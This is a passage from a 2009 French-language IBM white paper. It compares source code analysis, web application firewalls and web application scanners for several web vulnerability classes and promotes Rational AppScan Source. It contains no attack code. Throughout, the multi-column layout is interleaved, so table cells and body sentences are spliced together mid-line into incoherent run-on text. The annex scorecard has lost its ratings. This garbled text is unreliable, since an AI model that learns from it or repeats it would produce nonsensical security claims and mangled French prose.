certains cas, les contrôles d’authentification sont contrôlés d’investigation
par l’application ou par le serveur Web et directement par supplémentaires.
n’importe quel code d’application. Les approches qui utilisent
l’ethical hacking manuel sont souvent très fiables elles aussi.
Par exemple, un analyste de sécurité peut étudier tous les B1 – Configuration du moteur d’exécution de l’application
points d’entrée d’URL web.xml, puis tenter de forcer la Une mauvaise configuration de l’environnement du moteur
navigation jusqu’à ces points d’entrée en tant qu’utilisateur d’exécution peut exposer les applications Web à de graves
non autorisé. risques. Ces menaces sont issues d’utilisateurs internes et
externes mal intentionnés. De nombreux risques peuvent
exposer les vulnérabilités d’accès à un serveur d’application.

IBM Software 13

Par exemple, si l’application est servie par un environnement B2 – Dépassements de la mémoire tampon
de serveur d’application co-hébergé, les vulnérabilités d’une Le dépassement de mémoire tampon n’est pas considéré
application peuvent contaminer une autre application, ou comme un vecteur d’attaque valide pour les applications Web
peut-être une plateforme d’application hébergée elle-même actuelles écrites en langages interprétés comme Java et la
vulnérable. Par conséquent, il faut toujours être vigilant en ce famille de langages .NET de Microsoft. Toutefois, de
qui concerne les données de configuration qui ne sont pas nombreuses applications d’entreprise existantes interagissent à
protégées correctement. un certain niveau avec de nombreux systèmes hérités écrits en
C et en C++, et il leur manque par conséquent la gestion de
La meilleure approche est une combinaison d’analyse statique mémoire intégrée nécessaire pour empêcher les dépassements
pour identifier le problème de configuration spécifique à de mémoire tampon. Les données non validées provenant de
l’application, un outil d’analyse d’application Web pour ces applications Web envoyées aux systèmes hérités exposent
déterminer le problème de configuration de l’environnement les applications héritées à un risque de dépassement de la
du serveur d’application et l’ethical hacking manuel. mémoire tampon. Il est absolument essentiel que la stratégie
de détection et de prévention prenne en charge les
environnements de développement nouveau et hérité.
Le dépassement de mémoire tampon est similaire à n’importe
quel autre type d’attaques par injection. Un utilisateur
L’analyse de code Les pare-feu Les outils d’analyse malicieux insère du code informatique exécuté dans
source peut être d’application Web d’application Web
l’environnement de l’application. Le système exécute alors des
utilisée pour analyser peut assurer un constituent un très
des fichiers de certain niveau de bon moyen de actions à la demande du pirate, mais avec les privilèges du
configuration afin de protection contre détection prêt à système lui-même.
rechercher des certaines attaques l’emploi pour les
paramètres non spécifiques au serveurs d’application
sécurisés, mais serveur d’application, mal configurés et de Avec une manipulation adaptée des entrées de l’application
certains paramètres mais ils n’ont pas une nombreux outils et la création de règles pour contrôler la plage appropriée
sont contrôlés par la visibilité des d’analyse dans tous les champs d’entrée Web, les outils d’analyse
manière dont le configurations comprennent des
serveur d’application incorrectes des signatures
d’application Web et les pare-feu d’application Web
est configuré et non applications suffisante spécifiques basées fournissent un certain degré de protection. Cependant,
par des fichiers de pour être vraiment sur la version comme de nombreux systèmes hérités interagissent aussi
configuration efficaces. découverte du
bien avec des interfaces Web que non Web, ces systèmes à eux
d’application serveur d’application
spécifiques. Il est et de la plateforme. seuls ne suffisent pas à protéger ni à détecter tous les risques
préférable d’effectuer Cependant, les outils de vulnérabilité au dépassement de la mémoire tampon.
les tests en utilisant d’analyse L’analyse de code source offre la détection la plus complète et
une combinaison d’application Web
d’analyse de code comme les pare-feu la meilleure protection contre ce genre d’attaque.
source, d’ethical d’application Web
hacking manuel et n’ont pas de visibilité
une boîte noire. des paramètres de
configuration
spécifiques à
l’application. Une
combinaison
d’analyse de code
source et d’analyse
d’application Web
offre la meilleure
stratégie défensive.


de personnalisation pour fournir un certain niveau de
source d’application Web d’application Web protection. L’analyse de code source peut être utilisée pour
traiter tous les points d’entrée liés aux services Web sous
forme de données contrôlables par l’utilisateur et pour réaliser
L’analyse de code Avec des règles Les outils d’analyse
source offre la personnalisées, les d’application Web le même type d’analyse que celui utilisé pour détecter tous les
meilleure protection pare-feu d’application peuvent manipuler de autres types de risques d’injection de données. Cependant, cela
pour analyser les Web peuvent manière implique l’ajout de règles personnalisées pour spécifier les
applications héritées effectuer certains personnalisée les
nouveaux vecteurs d’entrée au moteur d’analyse.
écrites en C ou en contrôles de plage entrées Web pour
C++ qui peuvent être sur les champs identifier les endroits
vulnérables aux d’entrée pour qui provoquent une Une combinaison d’analyse de code source et un pare-feu
attaques de type s’assurer qu’un défaillance de
d’application Web qui prend en charge les services Web
dépassement de la utilisateur ne fournit l’application.
mémoire tampon. pas trop de données, Toutefois, ce type de constitue la meilleure approche pour atténuer ce risque. Le
L’analyse de code ce qui pourrait manipulation produit soutien apporté par les outils d’analyse d’application Web est
source découvre les entraîner un un pourcentage très minime et ne fournit aucun avantage significatif par rapport à
vecteurs d’entrée des dépassement de la élevé de réponses
applications Web qui mémoire tampon. faussement positives l’analyse de code source.
fournissent des Cependant, comme et faussement
données aux les pare-feu négatives car la
interfaces héritées de d’application Web visibilité dans le Analyse de code Pare-feu Outil d’analyse
manière non manquent de visibilité système sous-jacent source d’application Web* d’application Web
sécurisée. Cela en ce qui concerne est insuffisante pour
permet à l’analyste les systèmes dorsaux déterminer où, ou si,
de sécurité de trouver exposés, ce niveau le dépassement de la L’analyse de code La prise en charge Les outils d’analyse
les vecteurs de de protection est mémoire tampon est source avec une des protocoles de d’application Web
dépassement de la insuffisant dans la un risque réel. création de règles messagerie SOAP et jouent un rôle limité
mémoire tampon à plupart des cas. appropriées fournit XML peut offrir une dans l’analyse des
partir d’une surface les informations les protection services Web et la
d’attaque plus large. plus détaillées sur la raisonnable avec une plupart d’entre eux
manière dont les personnalisation des nécessitent de
données contrôlables règles adaptée. La nombreux efforts
par l’utilisateur gérées combinaison manuels pour
B3 – Services Web
par l’application sont d’analyse de code apporter une valeur
Comme de plus en plus d’organisations optent pour une utilisées, source constitue supplémentaire par
architecture orientée services (SOA), les services Web potentiellement à des actuellement la rapport à l’analyse de
fins malicieuses. meilleure stratégie de code source. Le seul
constituent une technologie prédominante. Ils présentent un
L’application est ainsi protection pour les avantage lié à
nouveau vecteur d’entrée vers une application et les attaques ouverte aux attaques. applications de l’utilisation d’un outil
visant les applications de service Web sont en augmentation. service Web. d’analyse
Cela représente un défi unique pour l’outil d’analyse d’application Web par
rapport à un outil
d’application Web car il est quasiment impossible de d’analyse de code
découvrir et de tester automatiquement les vulnérabilités liées source est obtenu
aux services Web à l’aide des algorithmes de découverte en lorsque le service
Web est écrit dans
étoile existants utilisés par presque tous les outils d’analyse un langage qui n’est
d’application Web. Certains pare-feu d’application Web pas pris en charge
prennent en charge l’inspection des flux de message SOAP et par l’outil d’analyse
de code source.
XML, mais la plupart d’entre eux nécessitent un niveau élevé

IBM Software 15

B4 – Code malicieux cela ne représente pas tous les types de code malicieux,
Il existe deux principaux types de code malicieux dans les l’analyste de sécurité obtient ainsi un plan correct de
applications actuelles : l’application qui peut l’orienter vers les endroits utilisés,
volontairement ou non, à des fins malicieuse.
● Du code mort, masqué ou code de débogage resté dans une
application de production et utilisé à des fins malicieuses
● Du code inséré intentionnellement qui permet d’obtenir un
accès illégal ou qui déclenche des événements ayant des
résultats malicieux. Lorsque le code Les pare-feu Les outils d’analyse
source est disponible, d’application Web ont d’application Web ont
l’analyse de code du mal à obtenir des du mal à obtenir des
La seule manière raisonnable d’identifier du code malicieux source est la manière informations sur le informations sur le
est d’analyse le code source. Les outils d’analyse d’application la plus efficace déclenchement du déclenchement du
Web et les pare-feu d’application Web ne sont pas efficaces d’analyser une code malicieux code malicieux
application pour potentiel et ils ont du potentiel et ils ont du
pour rechercher le code malicieux ni pour protéger identifier les risques mal à déterminer si le mal à déterminer si le
l’application contre le code malicieux. Souvent, le code exploités par le code comportement comportement
malicieux ressemble exactement au code normal. Il est possible malicieux. exécuté est de nature exécuté est de nature
malicieuse ou non. malicieuse ou non.
d’identifier le code malicieux en étudiant les points d’accès à
l’application existants. L’analyse de code source est un outil
extrêmement efficace pour identifier tous les endroits où les
B5 – Cookies personnalisés et champs masqués
données sortent du système. Pour que le code puisse être
L’utilisation de cookies et de champs masqués reste courante
malicieux, il a besoin d’un point d’accès. Un utilisateur accède
dans presque toutes les grandes applications d’entreprise
au système par le déclenchement d’un événement, en laissant
actuelles. Si vous avez essayé de désactiver les cookies et
des mots de passe figés dans le code ou en convertissant des
d’utiliser le Web, vous savez que l’utilisation des cookies
canaux de communication. Comprendre les points d’accès est
n’est pas près de disparaître. Un utilisateur malicieux peut
essentiel pour aider l’analyste de sécurité à identifier le code
facilement manipuler ces données car les cookies sont
malicieux.
enregistrés sur l’ordinateur du client. Cette falsification peut
entraîner tous types de problèmes de sécurité. Les champs
En étudiant tous les endroits où le système de fichiers, le
masqués sont également utilisés pour stocker des informations
réseau, les déclencheurs programmés et les informations
d’état ou de contrôle et eux aussi peuvent être facilement
d’authentification figées dans le code sont stockés et utilisés,
falsifiés. Les cookies et les champs masqués ne doivent jamais
on trouve souvent des endroits vulnérables. Il peut s’agir de
être considérés comme des magasins de données sûrs et sans
sites où un accès inapproprié au système de fichiers est
risque. Un utilisateur malicieux parcourt la charge de
permis, où des points d’entrée et de sortie de communication
réponse HTTP (HyperText Transport Protocol) sous-jacente
non conformes aux exigences spécifiques de l’application
d’une manière ou d’une autre (en visualisant la page source ou
existent ou des endroits où les informations d’authentification
en utilisant un proxy) pour déterminer quels champs masqués
sont figées dans le code et facilement identifiables. Même si
et quels cookies sont utilisés pour comprendre comment votre


application fonctionne. L’utilisateur malicieux utiliser un Résumé
proxy HTTP ou envoie des requêtes manuelles à votre La sécurité des applications est un élément critique des
application avec des valeurs modifiées pour voir l’hypothèse pratiques de sécurité générales de toute organisation. L’accès
que forme votre application et comment briser ces hypothèses. aux ressources critiques des entreprises est de plus en plus
Cela entraîne des problèmes de sécurité. souvent contrôlé par des logiciels. Il n’y a donc rien de
surprenant dans le fait que les politiques de sécurité physique
La détection et la prévention associées aux champs masqués et et de sécurité du réseau existantes, les procédures et les
aux cookies font partie des rares domaines dans lesquels une produits ne suffisent pas à satisfaire les besoins des entreprises
combinaison de tous les outils offre la meilleure défense en matière de sécurité. Il n’existe pas de solution idéale en
et la meilleure détection. Analyser à la fois le code source et matière de sécurité des applications et chacun des outils
l’application complète permet d’obtenir la meilleure étudiés a sa place dans un programme de sécurité d’application
couverture de détection. Un pare-feu d’application Web offre générale. Le problème consiste à choisir le bon outil. Étant
la meilleure défense contre toute manipulation effectuée par le donné l’étendue des problèmes que l’on trouve dans les
client. applications, des outils d’analyse seuls peuvent être
insuffisants. Cependant, l’analyse susmentionnée montre
clairement que l’analyse de code source doit être la méthode
fondamentale pour identifier le plus vaste éventail de
vulnérabilités critiques dans un logiciel donné. Les outils
d’analyse d’application Web sont un excellent outil pour
L’analyse de code Les pare-feu Les outils d’analyse effectuer une vérification finale avant le déploiement. Les
source peut surveiller d’application Web d’application Web
tous les endroits où peuvent empêcher la peuvent détecter tous pare-feu d’application Web sont un atout exceptionnel
des cookies sont falsification des les types de lorsqu’ils sont utilisés pour gagner du temps en apportant un
créés et utilisés. Elle données par le biais vulnérabilité certain niveau de protection en attendant que l’application
traite l’utilisation des des champs mentionnés
champs masqués masqués et des précédemment qui
sous-jacente puisse être corrigée. Toutefois, un pare-feu
comme tout autre cookies soit à l’aide découlent d’un usage d’application Web seul ne suffit à protéger convenablement
type d’entrée du chiffrement incorrect ou de la tous les points vulnérables exposés dans une application Web.
contrôlée par (comme le modification par
Une approche équilibrée de la sécurité des applications offre le
l’utilisateur. chiffrement et le l’utilisateur des
déchiffrement des cookies et des plus d’avantages. Chaque organisation doit trouver un
cookies) soit en champs masqués. équilibre entre les exigences souvent conflictuelles associées
ajoutant des règles aux menaces, à l’exposition et au budget pour obtenir la
personnalisées pour
détecter les valeurs combinaison qui lui convient le mieux, afin de déterminer la
illégales pour cet stratégie de gestion de la sécurité d’application basée sur les
ensemble d’entrées. risques la plus efficace possible.

IBM Software 17

Annexe A : Outils de sécurité d’application – Le carnet de notes

Excellent Bon Moyen Aucun

Vulnérabilité Analyse de Pare-feu Outil d'analyse
code source d'application Web d'application Web

A1 – Scriptage inter-sites

A2.1 – Injection de code
SQL standard

A2.2 – Injection de code XML
A2.3 – Injection LDAP
(Lightweight Directory Access Protocol)

A2.4 – Injections de commandes

A2.5 – Injection de code AJAX

A3 – Exécution de fichiers
malicieuxs

A4 – Référence d'objet direct
non sécurisée

A5 – Contrefaçon de requête
inter-site
A6 – Fuite d'informations et
mauvaise gestion des erreurs

A7 – Authentification
interrompue et gestion de session

A8 – Stockage cryptographique
non sécurisé

A9 – Communications
non sécurisées

A10 – Échec de restriction
d'accès URL

B1 – Configuration du moteur
d'exécution de l'application

B2 – Dépassements de la
mémoire tampon/code natif

B3 – Services Web

B4 – Code malicieux

B5 – Cookies personnalisés et
champs masqués

Note moyenne

Pour en savoir plus
Pour en savoir plus sur IBM Rational AppScan Source
Edition, contactez votre représentant commercial IBM, votre
partenaire commercial IBM ou rendez-vous à l’adresse :
ibm.com/software/rational/products/appscan/source/
IBM France
17, avenue de l’Europe
À propos des auteurs 92275 Bois-Colombes Cedex
Ryan Berg est Senior Security Architect chez IBM. Ryan est
un orateur, un formateur et un auteur populaire dans les La page d’accueil d’IBM se trouve à l’adresse ibm.com
domaines de la sécurité, de la gestion des risques et des
IBM, le logo IBM, ibm.com, AppScan et Rational sont des marques ou
processus de développement sécurisés. Il détient des brevets et marques déposées d’International Business Machines Corporation aux
des brevets en instance dans les secteurs de l’évaluation de la États-Unis et/ou dans d’autres pays. Si ces marques et les autres termes
sécurité multilingue, de la sécurité au niveau du noyau, du déposés d’IBM comportent, sur le première occurrence dans ce document,
un symbole de marque de commerce (® ou ™), ces symboles indiquent des
langage d’évaluation de sécurité intermédiaire et des marques de commerce enregistrées aux États-Unis ou de common law
protocoles de communication à distance sécurisés appartenant à IBM au moment de la publication de ce document. Ces
marques de commerce peuvent être enregistrées ou de common law dans
d’autres pays.

Une liste à jour des marques d’IBM est disponible sur Internet, sous la
rubrique «Copyright and trademark information» (Informations sur les
droits d’auteur et les marques), sur le site ibm.com/legal/copytrade.shtml

Java ainsi que tous les logos et toutes les marques mentionnant Java sont
des marques de Sun Microsystems, Inc. aux États-Unis et/ou dans d’autres
pays.

Microsoft est une marque de Microsoft Corporation aux États-Unis et/ou
dans d’autres pays.

D’autres noms d’entreprises, de produits et de services peuvent être des
marques ou des marques de service appartenant à d’autres sociétés.

Le présent document peut contenir des informations ou des références
concernant certains produits, logiciels ou services IBM non annoncés dans
ce pays. Cela ne signifie pas qu’IBM ait l’intention de les y annoncer.

Toute référence à un produit logiciel ou service IBM n’implique pas que
seul ce produit, logiciel ou service puisse être utilisé. Tout élément
fonctionnellement équivalent peut être utilisé s’il n’enfreint aucun droit
d’IBM.

Le présent document est publié uniquement à titre indicatif.
Les informations qu’il contient sont soumises à modification sans préavis.
Veuillez prendre contact avec votre revendeur IBM local pour obtenir les
dernières informations sur les produits et les services IBM.

IBM ne donne aucun avis juridique, comptable ou d’audit financier et ne
garantit pas que ses produits ou services sont conformes aux lois
applicables. Les utilisateurs sont seuls responsables du respect des lois et
réglementations de sécurité en vigueur, en particulier les lois et
réglementations nationales.

© Copyright IBM Corporation 2009
Tous droits réservés.

RAW14201-FRFR-00

Rational France - Livre blanc - Choisir le bon outil pour outils pour faire du bon travail

Recomendados

Recomendados

Más contenido relacionado

La actualidad más candente

La actualidad más candente (20)

Similar a Rational France - Livre blanc - Choisir le bon outil pour outils pour faire du bon travail

Similar a Rational France - Livre blanc - Choisir le bon outil pour outils pour faire du bon travail (20)

Más de Rational_France

Más de Rational_France (7)

Rational France - Livre blanc - Choisir le bon outil pour outils pour faire du bon travail